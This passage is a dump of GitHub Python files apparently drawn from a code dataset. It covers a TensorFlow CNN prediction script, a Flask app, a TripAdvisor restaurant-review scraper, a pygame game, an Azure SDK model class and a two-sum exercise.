4x4, stride 4, padding 'SAME'\n P2 = tf.nn.max_pool(A2, ksize=[1, 4, 4, 1], strides=[1, 4, 4, 1], padding='SAME')\n\n # FLATTEN\n P = tf.contrib.layers.flatten(P2)\n\n # FULLY-CONNECTED without non-linear activation function (not not call softmax).\n # 6 neurons in output layer. Hint: one of the arguments should be \"activation_fn=None\"\n Z3 = tf.contrib.layers.fully_connected(P, 6, activation_fn=None)\n\n return Z3\n\n\nif __name__ == \"__main__\":\n # X\n X_train_orig, Y_train_orig, X_test_orig, Y_test_orig, classes = load_dataset()\n\n X_train = X_train_orig / 255.\n X_test = X_test_orig / 255.\n Y_train = convert_to_one_hot(Y_train_orig, 6).T\n Y_test = convert_to_one_hot(Y_test_orig, 6).T\n\n # Example of a picture\n index = 225\n\n X_predict = [X_train[index]]\n Y_predict = [Y_train[index]]\n\n (m, n_H0, n_W0, n_C0) = X_train.shape\n n_y = Y_train.shape[1]\n\n tf.reset_default_graph()\n np.random.seed(1)\n\n with tf.Session() as sess:\n X, Y = create_placeholders(64, 64, 3, 6)\n parameters = initialize_parameters()\n Z3 = forward_propagation(X, parameters)\n\n saver = tf.train.Saver()\n model_file = tf.train.latest_checkpoint('ckpt/')\n saver.restore(sess, model_file)\n\n # init = tf.global_variables_initializer()\n # sess.run(init)\n\n # predict\n a = sess.run(Z3, {X: X_predict, Y: Y_predict})\n\n label_value = np.argmax(np.squeeze(Y_predict))\n predict_value = np.argmax(np.squeeze(a))\n\n plt.imshow(X_train_orig[index])\n plt.title(\"label=\" + str(label_value) + \", predict=\" + str(predict_value))\n plt.show()\n\n sess.close()\n","repo_name":"JiananHe/DeepLearningCoursera","sub_path":"Course 4 - Convolutional Neural Networks/Week 1 - Convolution model/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72754297392","text":"#the route/controller\n#flask routes control what content is shown on what url depending on how the user is accessing the \n# url, what button they've pressed. etc.\n\n#the general structure of a flask route is a function with a decorator \n#the decorator adds lines of code that run before and after the decorated function\n\n#our first route:\n#goal display the index.html file when user navigates to the base url aka http://127.0.0.1:5000/ \n # 1.)we need access to our app\nfrom flask_login import login_required\nfrom app import app # import the app variable defined in __init__.py\n # 2.) we need the ability to show an html file at a specified url\n #if your route's job is to display an html page -> it's return value should be a call to render_template\n\nfrom flask import render_template, request\nimport requests\nfrom lib2to3.pgen2.driver import Driver\n\nfrom .forms import DriverForm\n\n\n#from .forms import DriverForm\n\n#non-flask import for route functionality\nfrom .services import getCharacterImages #need to put .services so it wont be looking for a python module. This is a services file and not a python module.\n#.services says \"from the services file\" rather than \"from the services module\"\n\nfrom random import choice\n\nimport requests as r\n\n\n\n@app.route('/') # this decorator says: this is a rounte of the flask app 'app with the url endpoint '/'\ndef home():\n headline= 'WELCOME TO THE SHOP OF HORRORS'\n x = choice(['TODAY IS FOR MURDER', ' TODAY IS FOR MAYHEIM', ' TODAY IS FOR MADNESS', 'TODAY WILL BE BLOODY', 'NOT YOUR LUCKY DAY'])\n return render_template('index.html', headline=headline, change_heading = x )\n# line 17 associates a python function with a url, the decorator makes the funtion on 18 a\n# flask route and ties it to \n#the url. when the accesses the url. the python function runs.It returns a call to render template\n#and the html is shown because of the python function which is \n# running(python) because it is set up as a route through flask\n\n#create another route--> decorater@app.route('url endpoint), define a python function\n@app.route('/shopofhorrors')\ndef movies():\n headline= 'WELCOME TO THE SHOP OF HORRORS'\n return render_template('horror.html',headline=headline)\n\n@app.route('/shopofhorrorsactors')\ndef actors():\n headline = 'WELCOME TO THE SHOP OF HORRORS'\n return render_template('actors.html', headline=headline)\n\n#gallary route/made this new route from the original templates\n@app.route('/gallary')\n\ndef gallary():\n characters= getCharacterImages()\n #print(len(characters))\n return render_template('gallary.html', characters=characters)\n\n# f1 driver info route\n#HTTP-METHODS SPECIFY THE ACCEPTABLE METHODS OF CONNECTION TO THIS ENDPOINT ON OUR SERVER\n #METHODS DEFAULTS TO JUST GET BUT WE HAVE GET-USER JUST GETS INFO FROM OUR SITE, POST-SENDING INFO\n # TO THE USER, PUT-UPDATING INFO ON A SERVER, DELETE-DELETING INFO \n@app.route('/f1', methods=['GET', 'POST'])\n\ndef f1drivers():\n form = DriverForm() # this form will be used in both the GET and POST sides of this route\n# forms = DriverForm()\n# #Two scenarios here:\n# #1. user is just accessing this page \n# #http method-GET-GETTING DATA FROM THE WEB SERVER\n# #2. user has submitted the form requesting certain driver information\n# #http method-POST-SENDING DATA TO THE WEB SERVER\n if request.method == 'POST':\n #this means the user has submitted the form\n #two possible behaviors\n # 1. user provided value form info (aka a real driver name)\n #make api request and display relevant info\n # 2. user provided bad form info\n #redirect them and tell them bad info\n print(form.drivername.data)\n data = r.get(f'http://ergast.com/api/f1/drivers/{form.drivername.data}.json').json()\n print(data)\n if data['MRData']['total'] !='0':\n # make an api request and display relevant info\n driver = data['MRData']['DriverTable']['Drivers'][0]\n print(driver)\n else:\n #user provided bad form info\n driver = form.drivername.data\n # retrn a render_template with the relevant or lack of relevant driver data\n return render_template('f1drivers.html', form=form, driver=driver) #works for post request\n return render_template('f1drivers.html', form=form, driver=None) #works for our GET requests\n \n","repo_name":"amirandersonjones/flasklandingpage","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32673340762","text":"#!/usr/bin/env python3\nimport csv\nimport datetime\nimport functools\nimport multiprocessing\nimport typing\nimport requests_cache\nfrom bs4 import Tag, BeautifulSoup\nimport utils\nimport sys\nimport matplotlib.pyplot as plt\n\nBASE_URL = \"https://www.tripadvisor.com\"\nRESTAURANT_PAGINATION_URL = BASE_URL + \"/RestaurantSearch?\" \\\n \"&geo={geo}\" \\\n \"&sortOrder=relevance\" \\\n \"&o=a{offset}\"\nREVIEW_URL = BASE_URL + \"/OverlayWidgetAjax?\" \\\n \"Mode=EXPANDED_HOTEL_REVIEWS&\" \\\n \"metaReferer=ShowUserReviewsRestaurants\"\nRESTAURANT_PAGE_SIZE = 30\n\nGEO_LLEIDA = 187500\nRESTAURANT_DIV_CLASS = \"restaurants-list-ListCell__cellContainer--2mpJS\"\nRESTAURANT_NAME_CLASS = \"restaurants-list-ListCell__restaurantName--2aSdo\"\nRESTAURANT_DETAILS_NAME_CLASS_TOP = \"restaurants-detail-overview-cards-DetailsSectionOverviewCard__categoryTitle--2RJP_\"\nRESTAURANT_DETAILS_CONTENT_CLASS_TOP = \"restaurants-detail-overview-cards-DetailsSectionOverviewCard__tagText--1OH6h\"\nRESTAURANT_DETAILS_NAME_CLASS_BOTTOM = \"restaurants-details-card-TagCategories__categoryTitle--28rB6\"\nRESTAURANT_DETAILS_CONTENT_CLASS_BOTTOM = \"restaurants-details-card-TagCategories__tagText--Yt3iG\"\nRESTAURANT_DIRECTION_SPAN = \"restaurants-detail-overview-cards-LocationOverviewCard__detailLinkText--co3ei\"\nRESTAURANT_SCORE_SPAN = \"restaurants-detail-overview-cards-RatingsOverviewCard__overallRating--nohTl\"\nRESTAURANT_SCORES_DIV = \"restaurants-detail-overview-cards-RatingsOverviewCard__ratingQuestionRow--5nPGK\"\n\nrequests_cache.configure()\n\n\nclass Restaurant:\n def __init__(self,\n name: str,\n direction: str,\n phone: str,\n score: float,\n score_food: float,\n score_service: float,\n score_price: float,\n prices: str,\n score_ambient: float,\n cuisine_details: str,\n excellency_certificate: bool):\n self.name = name\n self.direction = direction\n self.phone = phone\n self.score = score\n self.score_food = score_food\n self.score_service = score_service\n self.score_price = score_price\n self.score_ambient = score_ambient\n self.prices = prices\n self.cuisine_details = cuisine_details\n self.excellency_certificate = excellency_certificate\n\n @staticmethod\n def get_csv_headers() -> typing.List:\n return [\"name\", \"direction\", \"phone\", \"score\", \"score_food\",\n \"score_service\", \"score_price\", \"score_ambient\",\n \"prices\", \"cuisine_details\", \"excellency_certificate\"]\n\n def to_csv_row(self) -> typing.List:\n return [self.name, self.direction, self.phone, self.score,\n self.score_food, self.score_service, self.score_price,\n self.score_ambient, self.prices, self.cuisine_details,\n self.excellency_certificate]\n\n\nclass Review:\n def __init__(self,\n restaurant: Restaurant,\n user: str,\n title: str,\n text: str,\n visit_date: datetime.date,\n score: int,\n response: typing.Optional[str]):\n self.restaurant = restaurant\n self.user = user\n self.title = title\n self.text = text\n self.visit_date = visit_date\n self.score = score\n self.response = response\n\n def __repr__(self):\n return f\"Review by {self.user} at \" \\\n f\"{self.visit_date_text} with score {self.score}\"\n\n @property\n def visit_date_text(self):\n return self.visit_date.strftime(\"%Y-%m\")\n\n @staticmethod\n def get_csv_headers() -> typing.List:\n return [\"restaurant_id\", \"user\", \"title\", \"text\", \"visit_date\",\n \"score\", \"response\"]\n\n def to_csv_row(self) -> typing.List:\n text = self.text.replace(\"\\n\", \"\\\\n\") if self.text else None\n response = self.response.replace(\"\\n\", \"\\\\n\") if self.response else None\n\n return [self.restaurant.name, self.user, self.title, text,\n self.visit_date_text, self.score, response]\n\n\ndef get_restaurants_list(geolocation, offset):\n bs = utils.get_bs(generate_page_url(geolocation, offset))\n return bs.find_all(class_=RESTAURANT_DIV_CLASS)\n\n\ndef generate_page_url(geolocation, offset):\n return RESTAURANT_PAGINATION_URL.format(geo=geolocation, offset=offset)\n\n\ndef generate_reviews_url(restaurant_url: str, page: int) -> str:\n \"\"\"\n To change the reviews page, change the \"[...]-Reviews-[...]\" part of the\n request to \"[...]-Reviews-or-[...]\", where N is a multiple of 10 that\n refers to the offset of the reviews.\n :param restaurant_url: The relative url to the restaurant\n :param page: The page number to retrieve\n :return: The url of the reviews page\n \"\"\"\n offset = page * 10\n page_url = restaurant_url.replace(\"-Reviews-\", f\"-Reviews-or{offset}-\")\n return BASE_URL + page_url\n\n\ndef parse_div(restaurant_div):\n name_div = restaurant_div.find(class_=RESTAURANT_NAME_CLASS)\n name = name_div.text\n url = name_div.attrs[\"href\"]\n return name, url\n\n\ndef fetch_restaurant_info(name: str, restaurant_url: str) -> Restaurant:\n bs = utils.get_bs(BASE_URL + restaurant_url)\n\n # Get address and phone\n direction = utils.get_text_elem(bs, \"span\", \"class\", RESTAURANT_DIRECTION_SPAN).text\n phone = utils.get_text_elem(bs, \"div\", \"data-blcontact\", \"PHONE\").text\n\n score_food = None\n score_service = None\n score_price = None\n score_ambient = None\n prices = None\n cuisine_details = None\n\n excellency_certificate = False\n\n # Get score\n score = float(utils.get_text_elem(bs, \"span\", \"class\", RESTAURANT_SCORE_SPAN).text.replace(',', '.'))\n\n all_scores = utils.get_text_all_elems(bs, \"div\", \"class\", RESTAURANT_SCORES_DIV)\n all_scores_len = len(all_scores)\n\n # Get all scores\n\n if all_scores_len != 0:\n score_food = int(\n utils.get_bubble_score(str(utils.get_text_elem(all_scores[0], \"span\", \"class\", \"ui_bubble_rating\")))) / 10\n score_service = int(\n utils.get_bubble_score(str(utils.get_text_elem(all_scores[1], \"span\", \"class\", \"ui_bubble_rating\")))) / 10\n score_price = int(\n utils.get_bubble_score(str(utils.get_text_elem(all_scores[2], \"span\", \"class\", \"ui_bubble_rating\")))) / 10\n\n if all_scores_len == 4:\n score_ambient = int(utils.get_bubble_score(\n str(utils.get_text_elem(all_scores[3], \"span\", \"class\", \"ui_bubble_rating\")))) / 10\n else:\n score_ambient = None\n\n # Get restaurant details and prices\n\n restaurant_details_top = utils.get_text_elem(bs, \"div\", \"class\",\n \"restaurants-detail-overview-cards-DetailsSectionOverviewCard__detailsSummary--evhlS\")\n restaurant_details_bottom = utils.get_text_elem(bs, \"div\", \"data-tab\", \"TABS_DETAILS\")\n\n if not restaurant_details_top and restaurant_details_bottom:\n\n cols = utils.get_text_all_elems(restaurant_details_bottom, \"div\", \"class\", \"ui_column\")\n # list_cols = []\n dict = {}\n cuisine_details = \"\"\n\n for col in cols:\n dict.update(parse_restaurant_details(col, \"BOTTOM\"))\n\n # col1 = list_cols[0]\n # col2 = list_cols[1]\n # col3 = list_cols[2]\n\n # dict = {**col1, **col2, **col3}\n\n prices = dict.get(\"PRICE RANGE\", None)\n\n if \"CUISINES\" in dict:\n cuisine_details += dict[\"CUISINES\"] + \", \"\n\n if \"Special Diets\" in dict:\n cuisine_details += dict[\"Special Diets\"]\n\n\n elif not restaurant_details_bottom and restaurant_details_top:\n\n details = parse_restaurant_details(restaurant_details_top, \"TOP\")\n cuisine_details = \"\"\n\n prices = details.get(\"PRICE RANGE\", None)\n\n if \"CUISINES\" in details:\n cuisine_details += details[\"CUISINES\"] + \", \"\n\n if \"Special Diets\" in details:\n cuisine_details += details[\"Special Diets\"]\n\n # Get excellency certificate\n\n if utils.get_text_elem(bs, \"div\", \"class\", \"restaurants-detail-overview-cards-RatingsOverviewCard__award--31yzt\"):\n excellency_certificate = True\n\n print(\n \"- Name:\", name,\n \"- Direction:\", direction,\n \"- Phone:\", phone,\n \"- Score:\", score,\n \"- Score ambient:\", score_food,\n \"- Score service:\", score_service,\n \"- Score price:\", score_price,\n \"- Prices:\", prices,\n \"- Score ambient:\", score_ambient,\n \"- Cuisine details:\", cuisine_details,\n \"- Excelency:\", excellency_certificate\n )\n\n return Restaurant(\n name,\n direction,\n phone,\n score,\n score_food,\n score_service,\n score_price,\n prices,\n score_ambient,\n cuisine_details,\n excellency_certificate\n )\n\n\ndef parse_restaurant_details(categories_element: Tag, pos) -> dict:\n categories = dict()\n name = \"\"\n content = \"\"\n categories_divs = categories_element.children\n for category in categories_divs:\n\n if pos == \"TOP\":\n name = category.find(class_=RESTAURANT_DETAILS_NAME_CLASS_TOP).text\n content = category.find(class_=RESTAURANT_DETAILS_CONTENT_CLASS_TOP).text\n elif pos == \"BOTTOM\":\n name = category.find(class_=RESTAURANT_DETAILS_NAME_CLASS_BOTTOM).text\n content = category.find(class_=RESTAURANT_DETAILS_CONTENT_CLASS_BOTTOM).text\n categories[name] = content\n return categories\n\n\ndef fetch_restaurant_reviews_page(restaurant: Restaurant,\n restaurant_url: str,\n page: int\n ) -> typing.List[Review]:\n \"\"\"\n Fetch the reviews for the current specified page\n :param restaurant: The Restaurant object this reviews will refer\n :param restaurant_url: The restaurant url\n :param page: The page to scrap\n :return: A list with all the reviews found for this restaurant in this page\n \"\"\"\n bs = utils.request_reviews(restaurant_url, page)\n\n reviews_div = bs.find(id=\"taplc_location_reviews_list_resp_rr_resp_0\")\n reviews_containers = reviews_div.find_all(class_=\"review-container\")\n\n # Fetch the entire page instead of parsing the container to avoid problems\n # such as large reviews partially shown.\n reviews_pages = (get_review_page(review_container)\n for review_container in reviews_containers)\n\n wrapper = functools.partial(parse_review_page, restaurant)\n return [wrapper(page) for page in reviews_pages]\n\n\ndef get_review_page(review_container: Tag) -> BeautifulSoup:\n review_id = review_container.attrs[\"data-reviewid\"]\n print(f\"Parsing review {review_id}\")\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n }\n data = {\n \"reviews\": review_id\n }\n return utils.post_bs(REVIEW_URL, headers=headers, data=data)\n\n\ndef parse_review_page(restaurant: Restaurant, page: BeautifulSoup) -> Review:\n title = page.find(\"div\", class_=\"quote\").text.strip()\n score = utils.get_rating(page)\n\n username = page.find(class_=\"member_info\").find(class_=\"username\").text\n\n text = utils.get_text_with_breaks(page.find(\"p\", class_=\"partial_entry\"))\n\n visit_date_span = page.find(class_=\"prw_rup prw_reviews_stay_date_hsx\")\n visit_date_text = visit_date_span.contents[1].strip()\n date = datetime.datetime.strptime(visit_date_text, '%B %Y').date()\n\n response_div = page.find(class_=\"mgrRspnInline\")\n if response_div:\n response_element = response_div.find(class_=\"partial_entry\")\n response = utils.get_text_with_breaks(response_element)\n else:\n response = None\n\n return Review(restaurant=restaurant,\n user=username,\n title=title,\n text=text,\n visit_date=date,\n score=score,\n response=response)\n\n\ndef remove_older(reviews: typing.List[Review], since: datetime.date\n ) -> typing.List[Review]:\n \"\"\"\n Having a list of reviews, remove the reviews older than the \"since\" date.\n :param reviews: The list of the reviews to clean\n :param since: The date that will be applied as a removing criteria\n :return: The list without the old reviews\n \"\"\"\n return [review for review in reviews if review.visit_date >= since]\n\n\ndef fetch_restaurant_reviews(restaurant: Restaurant,\n restaurant_url: str,\n since: datetime.date\n ) -> typing.List[Review]:\n \"\"\"\n Fetch all the reviews for a restaurant since a specified date.\n :param restaurant: The restaurant this reviews will refer\n :param restaurant_url: The url of the restaurant to scrap\n :param since: The date that sets the limit of the reviews to scrap\n :return: A list with all the requests found\n \"\"\"\n all_reviews = list()\n current_page = 0\n while True:\n reviews = fetch_restaurant_reviews_page(restaurant, restaurant_url,\n current_page)\n reviews = remove_older(reviews, since)\n if not reviews:\n break\n all_reviews.extend(reviews)\n current_page += 1\n\n return all_reviews\n\n\n\n\ndef get_restaurant(data):\n name, url = data\n return fetch_restaurant_info(name, url), url\n\n\ndef get_reviews(data, since):\n restaurant, url = data\n reviews = fetch_restaurant_reviews(restaurant, url, since=since)\n print(\"Reviews found:\")\n for review in reviews:\n print(review)\n print(review.text)\n print(review.response)\n print(\"\")\n return reviews\n\n\ndef main():\n number_of_restaurants = int(sys.argv[1])\n days_before = int(sys.argv[2])\n\n since = datetime.date.today() - datetime.timedelta(days=days_before)\n\n restaurants_divs = list()\n restaurant_offset = 0\n while len(restaurants_divs) < number_of_restaurants:\n restaurants_divs.extend(get_restaurants_list(GEO_LLEIDA,\n restaurant_offset))\n restaurant_offset += RESTAURANT_PAGE_SIZE\n\n restaurants_divs = restaurants_divs[:number_of_restaurants]\n\n restaurants_data = (parse_div(restaurant)\n for restaurant in restaurants_divs)\n\n with multiprocessing.Pool(10) as pool:\n restaurants = pool.map(get_restaurant, restaurants_data)\n pool.terminate()\n pool.join()\n\n scores = [restaurant.score for restaurant,_ in restaurants]\n plt.hist(scores)\n plt.show()\n\n with open(\"restaurants_lleida.csv\", \"w\") as f:\n writer = csv.writer(f, delimiter=\";\")\n writer.writerow(Restaurant.get_csv_headers())\n for restaurant, _ in restaurants:\n writer.writerow(restaurant.to_csv_row())\n\n with multiprocessing.Pool(20) as pool:\n f = functools.partial(get_reviews, since=since)\n reviews = pool.map(f, restaurants)\n pool.terminate()\n pool.join()\n\n # Flat the reviews list\n reviews = [item for sublist in reviews for item in sublist]\n\n with open(\"reviews.csv\", \"w\") as f:\n writer = csv.writer(f, delimiter=\";\")\n writer.writerow(Review.get_csv_headers())\n for review in reviews:\n writer.writerow(review.to_csv_row())\n\n print(f\"Fetched {len(restaurants)} restaurants\")\n print(f\"Fetched {len(reviews)} reviews\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"josepalos/LleidaAdvisor","sub_path":"src/scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":15756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70355573552","text":"import time\nimport pygame\nfrom pygame.locals import *\nfrom script.game.fusee import Fusee\nfrom script.UI.ui import UI\nfrom script.game.classement import Classement\n\n\nclass Game():\n # cette class correspond à la celle qui gere tout le jeux\n def __init__(self, size, title):\n self.size = size\n self.window = pygame.display.set_mode(self.size, pygame.FULLSCREEN) # creer la fenetre avec des dimensions donnees\n pygame.display.set_caption(title) # definir le titre\n self.fps = 60\n self.running = True\n\n surf = pygame.Surface((40,40),pygame.SRCALPHA)\n self.cursors = [\n pygame.cursors.Cursor((24, 24), (0, 0), *pygame.cursors.compile(pygame.cursors.thickarrow_strings)),\n pygame.cursors.Cursor((24, 24), surf)\n ] # liste des diff&rents cursor\n pygame.mouse.set_cursor(self.cursors[0])\n\n self.already = False # est-ce que la barre espace est enfonce\n self.already2 = False # est-ce que la touche p est enfonce\n\n # police d'ecriture\n pygame.font.init()\n self.police = pygame.font.SysFont(\"font/font.ttf\", 256) # police d'ecriture\n\n self.classement = Classement(self.size)\n self.classement.connect()\n self.internet_connexion = self.classement.get_connexion()\n\n # affichage du background\n self.new_screen(self.size)\n\n # preparer au fps\n self.clock = pygame.time.Clock()\n\n # menu de jeux\n self.menu = True\n\n # menu parametre\n self.parameter = False\n\n # fenetre de score\n self.highscore = False\n\n self.gameOver = False\n\n self.name = \"Test\"\n\n\n\n def new_screen(self, screen_size):\n \n self.screen = pygame.display.set_mode(screen_size)\n\n self.size = screen_size\n\n # appel des images de background \n self.background = pygame.image.load(\"image/background.jpg\")\n self.background_blur = pygame.image.load(\"image/background_blur.jpg\")\n\n # calcul de la taille de l'image de fond en fonction de la taille de l'ecran\n self.background_size = self.background.get_size() # taille du fond d'ecran\n aug = screen_size[1] / self.background_size[1] # taux d'augmentation\n self.background = pygame.transform.scale(self.background,(self.background_size[0] * aug, screen_size[1])) #redimension\n self.background_blur = pygame.transform.scale(self.background_blur,(self.background_size[0] * aug, screen_size[1])) #redimension\n self.background_size = self.background.get_size() # taille du fond d'ecran apres redimensionnement\n\n self.game_over_image = pygame.image.load(\"image/game_over.png\") # image de game over\n self.game_over_image = pygame.transform.scale(self.game_over_image,(self.size[0] * 50/100, self.size[0] * 50/100 * self.game_over_image.get_size()[1]/self.game_over_image.get_size()[0])) #redimension\n\n self.window.blit(self.background,(0 - (self.background_size[0] - screen_size[0]), 0))\n connexion = self.police.render(\"Please Wait ...\", True , (255,255,255))\n connexion = pygame.transform.scale(connexion, (screen_size[1] * 30/100 * connexion.get_size()[0] / connexion.get_size()[1],screen_size[1] * 30/100))\n self.window.blit(connexion, (screen_size[0]/2 - connexion.get_size()[0]/2, screen_size[1]/2 - connexion.get_size()[1]/2))\n\n self.input_rect = pygame.Rect((self.size[0] * 5 / 100, self.size[1]//2), (self.size[0] * 9 / 100, self.size[0] * 3 / 100))\n self.text_pseudo = self.police.render(\"Pseudo :\", True, (255,255,255))\n self.text_pseudo = pygame.transform.scale(self.text_pseudo, (self.size[1] * 5 / 100 * self.text_pseudo.get_size()[0] / self.text_pseudo.get_size()[1], self.size[1] * 5 / 100))\n\n # appel des objets\n self.UI = UI(self.size, self, None) # creation de l'interface utilisateur\n self.score = self.UI.get_score()\n self.button_start = self.UI.get_button_start()\n self.button_high_score = self.UI.get_button_high_score()\n self.button_parameter = self.UI.get_button_parameter()\n self.classement.new_res(self.size)\n\n def game_over(self):\n # quand la vie est a 0\n self.gameOver = True\n pygame.mouse.set_cursor(self.cursors[0]) # cursor non-transparent\n self.classement.update_classement(self.user_name, self.score.get()) # mettre a jour le classement\n\n def handle_input(self, pressed):\n\n if pressed[pygame.K_ESCAPE]: \n self.destroy() # arreter le jeux\n\n # pas d'autre touche si on est sur le menu\n if self.menu or self.highscore or self.parameter or self.gameOver:\n return\n\n if pressed[pygame.K_p]:\n if not self.already2:\n return\n else: \n self.life.lost_life()\n self.already2 = False\n else:\n self.already2 = True\n\n if pressed[pygame.K_j]:\n self.score.ajout_score(1)\n\n if pressed[pygame.K_UP] or pressed[pygame.K_z]:\n self.fusee.up() # deplacer la fusee en haut\n if pressed[pygame.K_DOWN] or pressed[pygame.K_s]:\n self.fusee.down() # deplacer la fusee en bas\n if pressed[pygame.K_RIGHT] or pressed[pygame.K_d]:\n self.fusee.right() # deplacer la fusee sur la droite\n if pressed[pygame.K_LEFT] or pressed[pygame.K_q]:\n self.fusee.left() # deplacer la fusee sur la gauche\n \n if pressed[pygame.K_SPACE]:\n if not self.already:\n return\n else: \n self.fusee.proj.launch_x()\n self.already = False\n else:\n self.already = True\n \n\n def update(self):\n # update d'affichage\n if self.menu :\n self.window.blit(self.background_blur,(0 - (self.background_size[0] - self.size[0]), 0)) # afficher le background\n self.UI.afficher(self.window, \"menu\") # afficher le score + le boutton jouer\n # draw rectangle and argument passed which should\n # be on screen\n pygame.draw.rect(self.window, self.color, self.input_rect)\n # render at position stated in arguments\n self.window.blit(self.text_surface, (self.size[0] * 5 / 100, self.size[1]//2))\n self.window.blit(self.text_pseudo, (self.size[0] * 5 / 100, self.size[1]//2 - 1.5 * self.text_surface.get_size()[1]))\n elif self.parameter:\n self.window.blit(self.background_blur,(0 - (self.background_size[0] - self.size[0]), 0)) # afficher le background\n self.UI.afficher(self.window, \"parameter\") # afficher le menu parametre\n elif self.gameOver:\n self.window.fill((0,0,0))\n self.window.blit(self.game_over_image, (self.size[0] * 25/100, self.size[1] * 25/100))\n self.UI.afficher(self.window, \"gameover\") # afficher le score\n elif self.highscore:\n self.window.blit(self.background_blur,(0 - (self.background_size[0] - self.size[0]), 0)) # afficher le background\n self.UI.afficher(self.window, \"highscore\")\n self.classement.afficher(self.window)\n else :\n self.window.blit(self.background,(0 - (self.background_size[0] - self.size[0]), 0)) # afficher le background\n self.fusee.afficher(self.window) # afficher la fusee\n self.UI.afficher(self.window, \"game\") # afficher le score\n\n def start_game(self):\n pygame.mouse.set_cursor(self.cursors[1]) # cursor transparent\n\n # transision entre l'ecran de menu et de jeux \n for i in range(3, 0, -1):\n self.image_text = self.police.render( f\"{i}\", True , (255,255,255) ) # image du decompte (\"texte a afficher\", couleur?, couleur)\n self.image_text = pygame.transform.scale(self.image_text, (self.size[1] * 40/100 * self.image_text.get_size()[0] / self.image_text.get_size()[1],self.size[1] * 40/100)) # redimensionner l'image\n self.window.blit(self.background, (0 - (self.background_size[0] - self.size[0]), 0)) # afficher le background\n self.window.blit(self.image_text, (self.size[0]/2 - self.image_text.get_size()[0]/2, self.size[1]/2 - self.image_text.get_size()[1]/2))\n pygame.display.flip()\n pygame.time.wait(1000)\n\n self.fusee = Fusee((self.size[0]/2,self.size[1]), self.size, self) # appel la fusee\n self.life = self.fusee.get_life()\n self.UI = UI(self.size, self, self.life) # appel l'interface utilisateur\n self.score = self.UI.get_score()\n \n def run(self):\n\n self.user_name = ''\n \n # color_active stores color(lightskyblue3) which\n # gets active when input box is clicked by user\n color_active = pygame.Color('lightskyblue3')\n \n # color_passive store color(chartreuse4) which is\n # color of input box.\n color_passive = pygame.Color('chartreuse4')\n self.color = color_passive\n \n active = False\n\n # boucle qui gere le jeu\n while self.running:\n # recuperer les touches pressees \n pressed = pygame.key.get_pressed()\n\n self.handle_input(pressed) # gere entre de touche\n\n if active:\n self.color = color_active\n else:\n self.color = color_passive\n\n \n self.text_surface = self.police.render(self.user_name, True, (255, 255, 255))\n self.text_surface = pygame.transform.scale(self.text_surface, (self.input_rect.h * self.text_surface.get_size()[0]/self.text_surface.get_size()[1], self.input_rect.h))\n \n # set width of textfield so that text cannot get\n # outside of user's text input\n self.input_rect.w = max(self.size[0] * 6 /100, self.text_surface.get_width() + 10)\n \n self.update() # gere l'affichage des objets\n\n pygame.display.flip() # actualiser l'ecran\n\n for event in pygame.event.get(): # regarder si la fenetre se ferme\n if event.type == pygame.QUIT:\n self.running = False\n \n if not(self.menu) and not(self.parameter) and not(self.gameOver) and not(self.highscore):\n break\n\n if event.type == pygame.KEYDOWN:\n if active:\n # Check for backspace\n if event.key == pygame.K_BACKSPACE:\n \n # get text input from 0 to -1 i.e. end.\n self.user_name = self.user_name[:-1]\n\n # Unicode standard is used for string\n # formation\n else:\n if len(self.user_name) < 13:\n self.user_name += event.unicode\n\n if event.type == MOUSEBUTTONDOWN:\n if self.menu:\n if self.input_rect.collidepoint(event.pos):\n active = True\n else:\n active = False\n\n if self.button_start.on():\n self.start_game()\n self.menu = False; self.parameter = False; self.highscore = False; self.gameOver = False\n if self.button_parameter.on():\n self.menu = False; self.parameter = True; self.highscore = False; self.gameOver = False\n if self.button_high_score.on():\n self.menu = False; self.parameter = False; self.highscore = True; self.gameOver = False\n else:\n self.UI.menu_click_button()\n\n self.clock.tick(self.fps) # gere les fps\n\n\n pygame.quit() # arreter pygame\n\n def destroy(self):\n # fermeture de la fenetre \n print(\"bye\") # afficher bye parce que c'est marrant\n pygame.quit() # arreter pygame\n exit() # arrreter tous les programmes en cours","repo_name":"cdurdetrouver/nsi_project","sub_path":"script/game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":12082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39997855774","text":"from msrest.serialization import Model\n\n\nclass StorageEndpointProperties(Model):\n \"\"\"The properties of the Storage Endpoint for file upload.\n\n :param sas_ttl_as_iso8601: SAS time to live. Range: 1 Min (PT1M) - 1 Day\n (P1D).\n :type sas_ttl_as_iso8601: timedelta\n :param connection_string: The account key credentials for storage account\n selected by customer for uploading files.\n :type connection_string: str\n :param container_name: The root container name where all files will be\n uploaded.\n :type container_name: str\n \"\"\" \n\n _attribute_map = {\n 'sas_ttl_as_iso8601': {'key': 'sasTtlAsIso8601', 'type': 'duration'},\n 'connection_string': {'key': 'connectionString', 'type': 'str'},\n 'container_name': {'key': 'containerName', 'type': 'str'},\n }\n\n def __init__(self, sas_ttl_as_iso8601=None, connection_string=None, container_name=None):\n self.sas_ttl_as_iso8601 = sas_ttl_as_iso8601\n self.connection_string = connection_string\n self.container_name = container_name\n","repo_name":"ardumont/azure-sdk-for-python","sub_path":"azure-mgmt-iothub/azure/mgmt/iothub/models/storage_endpoint_properties.py","file_name":"storage_endpoint_properties.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"21568536568","text":"\ninputNum = list(map(int, input()))\ntarget = int(input())\ndef solution(nums, target):\n for i in range(len(nums)):\n for j in range(i+1, len(nums)):\n if nums[i] + nums[j] == target:\n return [i, j]\n\n\n\n\nprint(solution(inputNum, target))","repo_name":"Youngiyong/Python","sub_path":"Algorism/백준/코테/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} 